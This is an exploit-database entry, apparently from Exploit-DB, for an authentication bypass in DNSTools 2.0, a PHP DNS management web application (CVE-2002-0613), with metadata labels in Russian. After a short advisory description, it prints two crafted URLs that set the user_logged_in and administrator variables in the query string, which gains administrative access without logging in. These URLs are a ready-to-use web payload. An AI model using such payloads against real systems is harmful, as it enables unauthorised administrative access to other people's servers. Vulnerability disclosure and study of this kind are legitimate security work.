Exploit DNSTools 2.0 - Authentication Bypass

[Exploiter]

EDB-ID

21425

Проверка EDB

1. Пройдено

Автор

PPP-DESIGN

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2002-0613

Дата публикации

2002-04-28

source: https://www.securityfocus.com/bid/4617/info

DNSTools is a web based managment tool for DNS information. It is implemented in PHP, and available for Linux and Solaris.

A vulnerability has been reported in some versions of DNSTools which allows any remote attacker to gain administrative access. An artificially constructed URL may define variables used to track user authentication and administrative access. 

http://www.example.com/dnstools.php?section=hosts&user_logged_in=true
http://www.example.com/dnstools.php?section=security&user_logged_in=true&user_dnstools_administrator=YES